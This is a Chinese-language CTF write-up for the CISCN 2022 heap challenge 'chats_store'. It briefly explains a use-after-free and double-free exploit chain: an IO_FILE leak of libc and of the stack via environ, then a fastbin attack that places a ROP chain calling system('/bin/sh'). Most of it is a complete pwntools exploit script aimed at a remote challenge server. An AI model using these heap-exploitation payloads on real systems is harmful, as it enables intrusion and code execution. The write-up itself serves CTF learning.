chats_store

题目

https://gitee.com/csomebro/ctftask/blob/master/2022-06_CISCN/pwn.zip

解题思路

堆题,libc版本为2.23没有tcache,观察free逻辑发现存在uaf和doublefree,由于没有edit和show故使用IO_FILE Attack泄露libc基址。

泄露成功后就是常规的fastbin attack打__malloc_hook,但是经过测试,one_gadget一个都打不通,所以,不能采用ogg的方法。想到rop方法,构造system(“/bin/sh”),需要泄露栈地址故再次利用IO_FILE泄露environ中存的栈地址,之后构造偏移量将fastbin分配到栈上,最后写入ROP实现getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
import time

# getIO = lambda: process(['./ld-2.23.so', './chats_store'], env={'LD_PRELOAD':'./libc-2.23.so'})
getIO = lambda: remote('43.138.52.3', 59000)
context.log_level='debug'
io = getIO()

def add(idx, size, content):
io.sendlineafter('> ', '1')
tmp = str(idx)
tmp += (8 - len(tmp)) * '\x00'
io.sendafter('chats No. > ', tmp)
io.sendlineafter('size> ', str(size))
io.sendafter('chats> ', content)
# time.sleep(0.5)

def free(idx):
io.sendlineafter('> ', '2')
io.sendlineafter('chats No. > ', str(idx))

while 1:
add(0, 0x28, 'aaaa')
add(1, 0x68, 'aaaa')
add(11, 0x68, 'aaaaa')
add(12, 0x28, 'aaa')
free(0)
add(0, 0x28, 'a'*0x28+'\xe1')
free(1)
add(0, 0x68, '\xdd\x15')

add(20, 0x68, 'aaaa') # b
add(21, 0x68, 'aaaa') # a
add(22, 0x28, 'aaaa')
free(21)
free(20)
free(21)

add(21, 0x68, '\x30')
add(22, 0x68, 'aaaa')
add(23, 0x68, 'aaaa')
add(24, 0x68, 'aaaa')
flag = 0xfbad1800
try:
add(25, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +'\x48')
inp = io.recv(200, timeout=2)
log.success('inp:'+inp)
break
_IO_2_stdout_ = u64(inp)
log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))
break
except:
io.close()
io = getIO()

inp = io.recvuntil('\x7f').ljust(8, '\x00')
_IO_2_stdout_ = u64(inp)
log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))
libc_base = _IO_2_stdout_ - 0x3c56a3
log.success('libc_base:'+hex(libc_base))

stdout_addr = libc_base + 0x3c55dd
environ = libc_base + 0x003C6F38
add(20, 0x68, 'aaaa') # b
add(21, 0x68, 'aaaa') # a
add(22, 0x28, 'aaaa')
free(21)
free(20)
free(21)
add(21, 0x68, p64(stdout_addr))
add(22, 0x68, 'aaaa')
add(23, 0x68, 'aaaa')
add(24, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(environ) + p64(environ+0x10)*2)
stack_addr = u64(io.recv(8))
log.success('stack_addr:'+hex(stack_addr))




# add(32, 0x68, 'aaaa')

target = stack_addr - 0x163 - 8
add(20, 0x68, 'aaaa') # b
add(21, 0x68, 'aaaa') # a
add(22, 0x28, 'aaaa')
free(21)
free(20)
free(21)
add(21, 0x68, p64(target))
add(22, 0x68, 'aaaa')
add(23, 0x68, 'aaaa')

libc = ELF('./libc-2.23.so')
pop_rdi = 0x0000000000021112 + libc_base
sys_addr = libc.sym['system'] + libc_base
binsh = 0x0018CE57 + libc_base

ropp = p64(pop_rdi) + p64(binsh) + p64(sys_addr)

# gdb.attach(io)

add(24, 0x68, 'a' * 0x43 + ropp)

# add(20, 0x68, 'aaaa') # b
# add(21, 0x68, 'aaaa') # a
# add(22, 0x28, 'aaaa')
# free(21)
# free(20)
# free(21)
# add(21, 0x68, p64(stdout_addr))
# add(22, 0x68, 'aaaa')
# add(23, 0x68, 'aaaa')
# add(24, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(target) + p64(target+0x100)*2)

io.interactive()

getFlag

本文采用CC-BY-SA-3.0协议,转载请注明出处
作者: Csome